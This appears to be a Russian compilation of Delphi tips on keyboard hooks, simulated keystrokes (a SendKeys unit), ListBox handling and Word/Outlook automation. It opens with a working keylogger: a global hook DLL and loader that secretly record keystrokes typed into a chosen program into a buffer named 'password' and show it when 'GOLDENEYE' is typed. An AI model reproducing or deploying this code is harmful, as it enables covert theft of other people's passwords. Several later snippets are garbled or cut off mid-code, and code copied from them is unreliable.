uses Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.
=== Cut ===
>4.HookAgnt.dpr
=== Cut ===
library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports
KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE then
begin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);
if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);
end.
=== Cut ===
>5.KeyboardHook.pas
=== Cut ===
unit KeyboardHook;
interface
uses Windows;
const
PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;
implementation
uses SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;
var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;
begin
lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
=== 2 ===
Существуют приложения, которым необходимо перехватывать все нажатия клавиш в Windows, даже если в данный
момент активно другое приложение. Это может быть, например, программа,
переключающая раскладку клавиатуры, резидентный словарь или программа, выполняющая иные действия по
нажатию "горячей" комбинации клавиш. Перехват всех событий в Windows (в том числе и событий от клавиатуры)
выполняется с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе Windows
ловушку (hook) для определенного типа событий/сообщений. Ловушка - это пользовательская процедура, которая
будет обрабатывать указанное событие. Основное здесь то, что эта процедура должна всегда присутствовать в
памяти Windows. Поэтому ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа
использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL и программы, ее
использующей. В примере ловушка перехватывает нажатие клавиш на клавиатуре, проверяет их и, если это
клавиши "+" или "-", посылает соответствующее сообщение в конкретное приложение (окно). Окно ищется по имени
его класса ("TForm1") и заголовку (caption, "XXX").
{текст библиотеки}
library SendKey;
uses
WinTypes, WinProcs, Messages;
Const
{пользовательские сообщения}
wm_NextShow_Event = wm_User + 133;
wm_PrevShow_Event = wm_User + 134;
{handle для ловушки}
HookHandle: hHook = 0;
Var
SaveExitProc : Pointer;
{собственно ловушка}
function Key_Hook(Code: integer; wParam: word; lParam: Longint): Longint; export;
var H: HWND;
begin
{если Code>=0, то ловушка может обработать событие}
if Code >= 0 then
begin
{это те клавиши?}
if ((wParam = VK_ADD)or(wParam = VK_SUBTRACT)) and (lParam and $40000000 = 0) then
begin
{ищем окно по имени класса и по заголовку}
H := FindWindow('TForm1', 'XXX');
{посылаем сообщение}
if wParam = VK_ADD then
SendMessage(H, wm_NextShow_Event, 0, 0)
Else
SendMessage(H, wm_PrevShow_Event, 0, 0);
end;
{если 0, то система должна дальше обработать это событие}
{если 1 - нет}
Result:=0;
end else
{если Code<>0 then
begin
UnhookWindowsHookEx(HookHandle);
ExitProc := SaveExitProc;
end;
end;
{инициализация DLL при загрузке ее в память}
begin
{устанавливаем ловушку}
HookHandle := SetWindowsHookEx(wh_Keyboard, Key_Hook,
hInstance, 0);
if HookHandle = 0 then
MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok) else
begin
SaveExitProc := ExitProc;
ExitProc := @LocalExitProc;
end;
end.
Размер такой DLL в скомпилированном виде будет около 3Кб, поскольку в ней не используются объекты из VCL.
Далее приведен код модуля в Delphi, который загружает DLL и обрабатывает сообщения от ловушки, просто
отображая их в Label1.
unit Unit1;
interfaceuses
SysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls;
{пользовательские сообщения}
const
wm_NextShow_Event = wm_User + 133;
wm_PrevShow_Event = wm_User + 134;
type
TForm1 = class(TForm)
Label1: TLabel;
procedure FormCreate(Sender: TObject);
private
{обработчики сообщений}
procedure WM_NextMSG (Var M : TMessage);
message wm_NextShow_Event;
procedure WM_PrevMSG (Var M : TMessage);
message wm_PrevShow_Event;
end;
var
Form1: TForm1;
P : Pointer;
Implementation
{$R *.DFM}
{загрузка DLL}
function Key_Hook : Longint; far; external 'SendKey';
procedure TForm1.WM_NextMSG (Var M : TMessage);
begin
Label1.Caption:='Next message';
end;
procedure TForm1.WM_PrevMSG (Var M : TMessage);
begin
Label1.Caption:='Previous message';
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{если не использовать вызов процедуры из DLL в программе,
то компилятор удалит загрузку DLL из программы}
P:=@Key_Hook;
end;
end.
Конечно, свойство Caption в этой форме должно быть установлено в "XXX".
=== 3 ===
Для этого используется функция GetAsyncKeyState(KeyCode)
в качестве параметра используются коды клавиш(например A - 65).
GetAsyncKeyState возвращает не нулевое значение если, во время ее вызова нажата указаная клавиша.
--------------------------------------------------------------------------------
Этот пример отлавливает нажатие клавиши "A"
Этот код необходимо поместить в процедуру обработки таймера с интервалом "1"
if getasynckeystate(65)<>0 then showmessage('A - pressed');
Прислал Igor Nikolaev aKa The Sprite.
Nomadic дополняет, что функция GetAsyncKeyState годится как для клавиатуpы, так и для мыши. [001407]
-------------------------------------------
-------------------------------------------
-------------------------------------------
-------------------------------------------
procedure TMainForm.StudentLookupEnter(Sender: TObject);
Var Level : Integer;
KeyState : TKeyBoardState;
begin
{check if caps-lock is on - if not turn it on}
Level := GetKeyState(VK_CAPITAL);
GetKeyboardState(KeyState);
CapsLockStatus := KeyState;
If Level = 0 then
begin
KeyState[VK_CAPITAL] := 1;
setKeyboardState(KeyState);
end;
Этот модуль является почти полным аналогом мотоду SendKeys из VB.
(Автор: Ken Henderson, email:khen@compuserve.com)
Полностью переработан и исправлен "М. Чемус" (chemus@ics.perm.ru), за что ему персональное спасибо!
======================================================================
(*
SendKeys routine for 32-bit Delphi.
Written by Ken Henderson
Copyright (c) 1995 Ken Henderson email:khen@compuserve.com
This unit includes two routines that simulate popular Visual Basic
routines: Sendkeys and AppActivate. SendKeys takes a PChar
as its first parameter and a boolean as its second, like so:
SendKeys('KeyString', Wait);
where KeyString is a string of key names and modifiers that you want
to send to the current input focus and Wait is a boolean variable or value
that indicates whether SendKeys should wait for each key message to be
processed before proceeding. See the table below for more information.
AppActivate also takes a PChar as its only parameter, like so:
AppActivate('WindowName');
where WindowName is the name of the window that you want to make the
current input focus.
SendKeys supports the Visual Basic SendKeys syntax, as documented below.
Supported modifiers:
+ = Shift
^ = Control
% = Alt
Surround sequences of characters or key names with parentheses in order to
modify them as a group. For example, '+abc' shifts only 'a', while '+(abc)' shifts
all three characters.
Supported special characters
~ = Enter
( = begin modifier group (see above)
) = end modifier group (see above)
{ = begin key name text (see below)
} = end key name text (see below)
Supported characters:
Any character that can be typed is supported. Surround the modifier keys
listed above with braces in order to send as normal text.
Supported key names (surround these with braces):
BKSP, BS, BACKSPACE
BREAK
CAPSLOCK
CLEAR
DEL
DELETE
DOWN
END
ENTER
ESC
ESCAPE
F1
F2
F3
F4
F5
F6
F7
F8
F9
F10
F11
F12
F13
F14
F15
F16
HELP
HOME
INS
LEFT
NUMLOCK
PGDN
PGUP
PRTSC
RIGHT
SCROLLLOCK
TAB
UP
Follow the keyname with a space and a number to send the specified key a
given number of times (e.g., {left 6}).
*)
unit sndkey32; interface Uses SysUtils, Windows, Messages; Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;
function AppActivate(WindowName : PChar) : boolean; {Buffer for working with PChar's} const
WorkBufLen = 40;
var
WorkBuf : array[0..WorkBufLen] of Char; implementation
type
THKeys = array[0..pred(MaxLongInt)] of byte;
var
AllocationSize : integer; (*
Converts a string of characters and key names to keyboard events and
passes them to Windows.
Example syntax:
SendKeys('abc123{left}{left}{left}def{end}456{left 6}ghi{end}789', True);
*) Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;
type
WBytes = array[0..pred(SizeOf(Word))] of Byte; TSendKey = record
Name : ShortString;
VKey : Byte;
end; const
{Array of keys that SendKeys recognizes. If you add to this list, you must be sure to keep it sorted alphabetically
by Name because a binary search routine is used to scan it.} MaxSendKeyRecs = 41;
SendKeyRecs : array[1..MaxSendKeyRecs] of TSendKey =
(
(Name:'BKSP'; VKey:VK_BACK),
(Name:'BS'; VKey:VK_BACK),
(Name:'BACKSPACE'; VKey:VK_BACK),
(Name:'BREAK'; VKey:VK_CANCEL),
(Name:'CAPSLOCK'; VKey:VK_CAPITAL),
(Name:'CLEAR'; VKey:VK_CLEAR),
(Name:'DEL'; VKey:VK_DELETE),
(Name:'DELETE'; VKey:VK_DELETE),
(Name:'DOWN'; VKey:VK_DOWN),
(Name:'END'; VKey:VK_END),
(Name:'ENTER'; VKey:VK_RETURN),
(Name:'ESC'; VKey:VK_ESCAPE),
(Name:'ESCAPE'; VKey:VK_ESCAPE),
(Name:'F1'; VKey:VK_F1),
(Name:'F10'; VKey:VK_F10),
(Name:'F11'; VKey:VK_F11),
(Name:'F12'; VKey:VK_F12),
(Name:'F13'; VKey:VK_F13),
(Name:'F14'; VKey:VK_F14),
(Name:'F15'; VKey:VK_F15),
(Name:'F16'; VKey:VK_F16),
(Name:'F2'; VKey:VK_F2),
(Name:'F3'; VKey:VK_F3),
(Name:'F4'; VKey:VK_F4),
(Name:'F5'; VKey:VK_F5),
(Name:'F6'; VKey:VK_F6),
(Name:'F7'; VKey:VK_F7),
(Name:'F8'; VKey:VK_F8),
(Name:'F9'; VKey:VK_F9),
(Name:'HELP'; VKey:VK_HELP),
(Name:'HOME'; VKey:VK_HOME),
(Name:'INS'; VKey:VK_INSERT),
(Name:'LEFT'; VKey:VK_LEFT),
(Name:'NUMLOCK'; VKey:VK_NUMLOCK),
(Name:'PGDN'; VKey:VK_NEXT),
(Name:'PGUP'; VKey:VK_PRIOR),
(Name:'PRTSC'; VKey:VK_PRINT),
(Name:'RIGHT'; VKey:VK_RIGHT),
(Name:'SCROLLLOCK'; VKey:VK_SCROLL),
(Name:'TAB'; VKey:VK_TAB),
(Name:'UP'; VKey:VK_UP)
); {Extra VK constants missing from Delphi's Windows API interface}
VK_NULL=0;
VK_SemiColon=186;
VK_Equal=187;
VK_Comma=188;
VK_Minus=189;
VK_Period=190;
VK_Slash=191;
VK_BackQuote=192;
VK_LeftBracket=219;
VK_BackSlash=220;
VK_RightBracket=221;
VK_Quote=222;
VK_Last=VK_Quote; ExtendedVKeys : set of byte =
[VK_Up,
VK_Down,
VK_Left,
VK_Right,
VK_Home,
VK_End,
VK_Prior, {PgUp}
VK_Next, {PgDn}
VK_Insert,
VK_Delete]; const
INVALIDKEY = $FFFF {Unsigned -1};
VKKEYSCANSHIFTON = $01;
VKKEYSCANCTRLON = $02;
VKKEYSCANALTON = $04;
UNITNAME = 'SendKeys';
var
UsingParens, ShiftDown, ControlDown, AltDown, FoundClose : Boolean;
PosSpace : Byte;
I, L : Integer;
NumTimes, MKey : Word;
KeyString : String[20]; procedure DisplayMessage(Message : PChar);
begin
MessageBox(0,Message,UNITNAME,0);
end; function BitSet(BitTable, BitMask : Byte) : Boolean;
begin
Result:=ByteBool(BitTable and BitMask);
end; procedure SetBit(var BitTable : Byte; BitMask : Byte);
begin
BitTable:=BitTable or Bitmask;
end; procedure KeyboardEvent(VKey, ScanCode : Byte; Flags : Longint);
var
KeyboardMsg : TMsg;
begin
keybd_event(VKey, ScanCode, Flags,0);
If (Wait) then While (PeekMessage(KeyboardMsg,0,WM_KEYFIRST, WM_KEYLAST, PM_REMOVE)) do begin
TranslateMessage(KeyboardMsg);
DispatchMessage(KeyboardMsg);
end;
end; procedure SendKeyDown(VKey: Byte; NumTimes : Word; GenUpMsg : Boolean);
var
Cnt : Word;
ScanCode : Byte;
NumState : Boolean;
KeyBoardState : TKeyboardState;
begin
If (VKey=VK_NUMLOCK) then begin
NumState:=ByteBool(GetKeyState(VK_NUMLOCK) and 1);
GetKeyBoardState(KeyBoardState);
If NumState then KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] and not 1)
else KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] or 1);
SetKeyBoardState(KeyBoardState);
exit;
end; ScanCode:=Lo(MapVirtualKey(VKey,0));
For Cnt:=1 to NumTimes do
If (VKey in ExtendedVKeys)then begin
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY);
If (GenUpMsg) then
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP)
end else begin
KeyboardEvent(VKey, ScanCode, 0);
If (GenUpMsg) then KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
end;
end; procedure SendKeyUp(VKey: Byte);
var
ScanCode : Byte;
begin
ScanCode:=Lo(MapVirtualKey(VKey,0));
If (VKey in ExtendedVKeys)then
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP)
else KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
end; procedure SendKey(MKey: Word; NumTimes : Word; GenDownMsg : Boolean);
begin
If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyDown(VK_SHIFT,1,False);
If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyDown(VK_CONTROL,1,False);
If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyDown(VK_MENU,1,False);
SendKeyDown(Lo(MKey), NumTimes, GenDownMsg);
If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyUp(VK_SHIFT);
If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyUp(VK_CONTROL);
If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyUp(VK_MENU);
end; {Implements a simple binary search to locate special key name strings} function StringToVKey(KeyString : ShortString) : Word;
var
Found, Collided : Boolean;
Bottom, Top, Middle : Byte;
begin
Result:=INVALIDKEY;
Bottom:=1;
Top:=MaxSendKeyRecs;
Found:=false;
Middle:=(Bottom+Top) div 2;
Repeat
Collided:=((Bottom=Middle) or (Top=Middle));
If (KeyString=SendKeyRecs[Middle].Name) then begin
Found:=True;
Result:=SendKeyRecs[Middle].VKey;
end else begin
If (KeyString>SendKeyRecs[Middle].Name) then Bottom:=Middle
else Top:=Middle;
Middle:=(Succ(Bottom+Top)) div 2;
end;
Until (Found or Collided);
If (Result=INVALIDKEY) then DisplayMessage('Invalid Key Name');
end; procedure PopUpShiftKeys;
begin
If (not UsingParens) then begin
If ShiftDown then SendKeyUp(VK_SHIFT);
If ControlDown then SendKeyUp(VK_CONTROL);
If AltDown then SendKeyUp(VK_MENU);
ShiftDown:=false;
ControlDown:=false;
AltDown:=false;
end;
end; begin
AllocationSize:=MaxInt;
Result:=false;
UsingParens:=false;
ShiftDown:=false;
ControlDown:=false;
AltDown:=false;
I:=0;
L:=StrLen(SendKeysString);
If (L>AllocationSize) then L:=AllocationSize;
If (L=0) then Exit; while (Ibegin
case SendKeysString[I] of
'(' : begin
UsingParens:=True;
Inc(I);
end;
')' : begin
UsingParens:=False;
PopUpShiftKeys;
Inc(I);
end;
'%' : begin
AltDown:=True;
SendKeyDown(VK_MENU,1,False);
Inc(I);
end;
'+' : begin
ShiftDown:=True;
SendKeyDown(VK_SHIFT,1,False);
Inc(I);
end;
'^' : begin
ControlDown:=True;
SendKeyDown(VK_CONTROL,1,False);
Inc(I);
end;
'{' : begin
NumTimes:=1;
If (SendKeysString[Succ(I)]='{') then begin
MKey:=VK_LEFTBRACKET;
SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
SendKey(MKey,1,True);
PopUpShiftKeys;
Inc(I,3);
Continue;
end;
KeyString:='';
FoundClose:=False;
while (I<=L) do begin
Inc(I);
If (SendKeysString[I]='}') then begin
FoundClose:=True;
Inc(I);
Break;
end;
KeyString:=KeyString+Upcase(SendKeysString[I]);
end;
If (Not FoundClose) then begin
DisplayMessage('No Close');
Exit;
end;
If (SendKeysString[I]='}') then begin
MKey:=VK_RIGHTBRACKET;
SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
SendKey(MKey,1,True);
PopUpShiftKeys;
Inc(I);
Continue;
end;
PosSpace:=Pos(' ',KeyString);
If (PosSpace<>0) then begin
NumTimes:=StrToInt(Copy(KeyString,Succ(PosSpace),Length(KeyString)-PosSpace));
KeyString:=Copy(KeyString,1,Pred(PosSpace));
end;
If (Length(KeyString)=1) then MKey:=vkKeyScan(KeyString[1])
else MKey:=StringToVKey(KeyString);
If (MKey<>INVALIDKEY) then begin
SendKey(MKey,NumTimes,True);
PopUpShiftKeys;
Continue;
end;
end;
'~' : begin
SendKeyDown(VK_RETURN,1,True);
PopUpShiftKeys;
Inc(I);
end;
else begin
MKey:=vkKeyScan(SendKeysString[I]);
If (MKey<>INVALIDKEY) then begin
SendKey(MKey,1,True);
PopUpShiftKeys;
end else DisplayMessage('Invalid KeyName');
Inc(I);
end;
end;
end;
Result:=true;
PopUpShiftKeys;
end; {AppActivate
This is used to set the current input focus to a given window using its
name. This is especially useful for ensuring a window is active before
sending it input messages using the SendKeys function. You can specify
a window's name in its entirety, or only portion of it, beginning from
the left.
} var
WindowHandle : HWND; function EnumWindowsProc(WHandle: HWND; lParam: LPARAM): BOOL; export; stdcall;
const
MAX_WINDOW_NAME_LEN = 80;
var
WindowName : array[0..MAX_WINDOW_NAME_LEN] of char;
begin
{Can't test GetWindowText's return value since some windows don't have a title}
GetWindowText(WHandle,WindowName,MAX_WINDOW_NAME_LEN);
Result := (StrLIComp(WindowName,PChar(lParam), StrLen(PChar(lParam))) <> 0);
If (not Result) then WindowHandle:=WHandle;
end; function AppActivate(WindowName : PChar) : boolean;
begin
try
Result:=true;
WindowHandle:=FindWindow(nil,WindowName);
If (WindowHandle=0) then EnumWindows(@EnumWindowsProc,Integer(PChar(WindowName)));
If (WindowHandle<>0) then begin
SendMessage(WindowHandle, WM_SYSCOMMAND, SC_HOTKEY, WindowHandle);
SendMessage(WindowHandle, WM_SYSCOMMAND, SC_RESTORE, WindowHandle);
end else Result:=false;
except
on Exception do Result:=false;
end;
end; end.
=== 1 ===
Внутри приложения это выполняется достаточно просто с помощью вызова функции Windows API SendMessage()
(можно воспользоваться и методом Perform того объекта (или формы), кому посылается сообщение о нажатой клавише).
Код
Memo1.Perform(WM_CHAR, Ord('A'), 0);
или
SendMessage(Memo1.Handle, WM_CHAR, Ord('A'), 0);
приведет к печати символа "A" в объекте Memo1
=== 2 ===
В обработчике OnClick
keybd_event(VK_F2,0,0,0);
keybd_event(VK_F2,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0,0,0);
keybd_event(VK_DOWN,0,0,0);
keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
Это то же самое, что нажать F2, а затем Alt+Стрелка Вниз.
procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
accept:=true;
end;
procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
var Pos: TPoint;
begin
Pos.X:=X;
Pos.Y:=Y;
ListBox1.Items.Move(ListBox1.ItemIndex,ListBox1.ItemAtPos(Pos, true));
end;
надо еще: DragMode :=dmAutomatic;
ну и конечно надо проверки на собственный объект делать.
(c) Leg
А еще неплохо-бы показывать, куда вставляется строчка, и не давать уносить далеко...
Implementation
{$R *.DFM}
uses CommCtrl;
procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean);
begin
Accept:=(Sender=Source);
with Sender as TListBox do
DrawInsert(Parent.Handle,Handle, ItemAtPos(Point(X,Y), True));
end;
procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
begin
with (Sender as TListBox) do begin
Items.Move(ItemIndex, ItemAtPos(Point(X,Y), True));
Parent.Refresh;
end;
ClipCursor(nil);
end;
procedure TForm1.ListBox1StartDrag(Sender: TObject; var DragObject: TDragObject);
var R:TRect;
begin
R:=(Sender as TControl).ClientRect;
with (Sender as TControl).ClientOrigin do OffsetRect(R,x,y);
ClipCursor(@R);
end;
procedure TForm1.ListBox1EndDrag(Sender, Target: TObject; X, Y: Integer);
begin
ClipCursor(nil);
end;
Компонент VCL TListBox автоматически реализует вертикальную полосу прокрутки.
Полоска прокрутки появляется, когда окно списка слишком мало для показа всех
элементов списка. Однако окно списка не показывает горизонтальной полосы
прокрутки,
когда какие-либо элементы списка имеют большую ширину, чем само окно списка.
Конечно, есть возможность добавить горизонтальную полосу прокрутки.
Добавьте следующий код в обработчик события OnCreate Вашей формы:
procedure TForm1.FormCreate(Sender: TObject);
var
i, MaxWidth: integer;
begin
MaxWidth := 0;
for i := 0 to ListBox1.Items.Count - 1 do
if MaxWidth < ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]) then
MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]);
SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0);
end;
Этот код находит ширину, в пикселах, самой длинной строки в окне списка.
Затем он использует сообщение LB_SETHORIZONTALEXTENT для установки
горизонтальной
прокручиваемой ширины, в пикселах, для окна списка. Два дополнительных пиксела
добавлены к MaxWidth, чтобы сдвинуть оконечные символы от правой границы окна
списка.
Обратите внимание на сообщение LB_SETTOPINDEX из Windows API. Пошлите его соответствующему listbox
SendMessage(ListBox.Handle,lb_SetTopIndex,10,0);
После этого одиннадцатое значение из списка станет первым видимым.
Как сделать сортировку при клике по заголовку TListView и как рисуются треугольнички в заголовке, показывающие направление
сортировки?
С точки зрения WinAPI сортировка достигается посылкой List View сообщения LVM_SORTITEMS.
В Delphi это регулируется свойством ListView.SortType и событием ListView.OnCompare. Запоминать по какому именно столбцу
кликнули придется самому (и учитывать это в OnCompare).
С точки зрения WinAPI это достигается подключением Image List через LVM_SETIMAGELIST + LVSIL_SMALL. А также посылкой
сообщения LVM_SETCOLUMN с маской LVCF_IMAGE в структуре LVCOLUMN.
В Delphi подключаешь к ListView объект ImageList как SmallImages. Тогда появление значка в column header регулируется значением
ListColumn.ImageIndex.
Примечание: Для всех этих красот версия сomсtl32.dll должна быть 4.70 или выше.
Здесь мы ответим на действительно интересные вопросы:
Как узнать, установлен ли Word 8 на машине клиента?
Где расположены шаблоны?
Почему запускается все время новый документ, когда я хочу работать в том же?
Как найти документ, с которым пользователь работал в последнее время?
Почему Word закрывается после завершения моей процедуры?
Как мне добраться до папок программы Outlook?
Как в Outlook получить доступ к существующему контакту или создать свой?
--------------------------------------------------------------------------------
{--------------------Взято из библиотеки типов--------------- WORDDEC.INC}
Const
// OlAttachmentType
olByValue = 1;
olByReference = 4;
olEmbeddedItem = 5;
olOLE = 6;
// OlDefaultFolders
olFolderDeletedItems = 3;
olFolderOutbox = 4;
olFolderSentMail = 5;
olFolderInbox = 6;
olFolderCalendar = 9;
olFolderContacts = 10;
olFolderJournal = 11;
olFolderNotes = 12;
olFolderTasks = 13;
// OlFolderDisplayMode
olFolderDisplayNormal = 0;
olFolderDisplayFolderOnly = 1;
olFolderDisplayNoNavigation = 2;
// OlInspectorClose
olSave = 0;
olDiscard = 1;
olPromptForSave = 2;
// OlImportance
olImportanceLow = 0;
olImportanceNormal = 1;
olImportanceHigh = 2;
// OlItems
olMailItem = 0;
olAppointmentItem = 1;
olContactItem = 2;
olTaskItem = 3;
olJournalItem = 4;
olNoteItem = 5;
olPostItem = 6;
// OlSensitivity
olNormal = 0;
olPersonal = 1;
olPrivate = 2;
olConfidential = 3;
// OlJournalRecipientType;
olAssociatedContact = 1;
// OlMailRecipientType;
olOriginator = 0;
olTo = 1;
olCC = 2;
olBCC = 3;
Const
wdGoToBookmark = -1;
wdGoToSection = 0;
wdGoToPage = 1;
wdGoToTable = 2;
wdGoToLine = 3;
wdGoToFootnote = 4;
wdGoToEndnote = 5;
wdGoToComment = 6;
wdGoToField = 7;
wdGoToGraphic = 8;
wdGoToObject = 9;
wdGoToEquation = 10;
wdGoToHeading = 11;
wdGoToPercent = 12;
wdGoToSpellingError = 13;
wdGoToGrammaticalError = 14;
wdGoToProofreadingError = 15;
wdGoToFirst = 1;
wdGoToLast = -1;
wdGoToNext = 2; //интересно,
wdGoToRelative = 2; //чем отличаются эти две константы?
wdGoToPrevious = 3;
wdGoToAbsolute = 1;
Основные функции:
--------------------------------------------------------------------------------
Function GetWordUp(StartType : string):Boolean;
Function InsertPicture(AFileName : String) : Boolean;
Function InsertContactInfo(MyId : TMyId; MyContId : TMyContId): Boolean;
Function GetOutlookUp(ItemType : Integer): Boolean;
Function MakeOutLookContact(MyId : TMyId; MyContId : TMyContId) : Boolean;
Function ImportOutlookContact : Boolean;
Function GetOutlookFolderItemCount : Integer;
Function GetThisOutlookItem(AnIndex : Integer) : Variant;
Function FindMyOutlookItem(AFilter : String; var AItem : Variant) :Boolean;
Function FindNextMyOutlookItem(var AItem : Variant) : Boolean;
Function CloseOutlook : Boolean;
Type TTreeData = class(TObject)
Public
ItemId : String;
end;
--------------------------------------------------------------------------------
{$I worddec.inc} {все константы из библиотеки типов тащим с собой}
Var
myRegistry : TRegistry;
GotWord : Boolean;
WhereIsWord : String;
WordDoneMessage : Integer;
Basically : variant;
Wordy: Variant;
MyDocument : Variant;
MyOutlook : Variant;
MyNameSpace : Variant;
MyFolder : Variant;
MyAppointment : Variant;
Function GetWordUp(StartType : string):Boolean;
// Запускаем Word "правильным" на мой взгляд способом
// после старта Word мы сделаем так, чтобы после завершения приложения он остался открытым
var i : integer;
AHwnd : Hwnd;
AnAnswer : Integer;
temp : string;
MyDocumentsCol : Variant;
TemplatesDir : Variant;
OpenDialog1 : TopenDialog;
begin
result := false;
myRegistry := Tregistry.Create;
myRegistry.RootKey := HKEY_LOCAL_MACHINE;
// никакого "word 8", никакой функции!
If myRegistry.KeyExists('SOFTWARE\Microsoft\Office\8.0\Word')
then
GotWord := true
Else
GotWord := false;
If GotWord then
//где он, черт побери?
If myRegistry.OpenKey('SOFTWARE\Microsoft\Office\8.0', false) then
begin
WhereisWord := myRegistry.ReadString('BinDirPath');
MyRegistry.CloseKey;
end
else
GotWord := false;
If GotWord then
//и где эти надоевшие шаблоны?
Begin
MyRegistry.RootKey := HKEY_CURRENT_USER;
If
myRegistry.OpenKey('SOFTWARE\Microsoft\Office\8.0\Common\FileNew\SharedTemplates', false) then
Begin
TemplatesDir := myRegistry.ReadString(Nothing);
MyRegistry.CloseKey;
end
Else
Begin
Warning('Ole инсталляция','Шаблоны рабочей группы не установлены');
GotWord := false;
end;
End;
myRegistry.free;
If not gotword then
Begin
Warning('Ole дескриптор', 'Word не установлен');
exit;
end;
//это имя класса принадлежит главному окну в двух последних версиях Word
temp := 'OpusApp';
AHwnd := FindWindow(pchar(temp),nil);
If (AHwnd = 0) then
//Word не запущен, пробуем запустить пустую оболочку без документа
Begin
Temp := WhereisWord + '\winword.exe /n';
AnAnswer := WinExec(pchar(temp), 1);
If (AnAnswer < 32) then
Begin
Warning('Ole дескриптор', 'Не могу найти WinWord.exe');
Exit;
End;
End;
Application.ProcessMessages;
{Если вы уже используете Word.Application, вы получаете ваш собственный экземпляр}
{Если вы уже используете Word.Document, вы получаете работающий экземпляр}
{по-моему все понятно и очень удобно (во всяком случае мне)}
try {создаем новый документ}
Basically := CreateOleObject('Word.Document.8');
except
Warning('Ole дескриптор', 'Не могу запустить Microsoft Word.');
Result := False;
Exit;
end;
Try {ссылаемся в переменной вариантного на вновь созданный документ}
Wordy := Basically.Application;
Except
Begin
Warning('Ole дескриптор', 'Не могу получить доступ к Microsoft Word.');
Wordy := UnAssigned;
Basically := UnAssigned;
Exit;
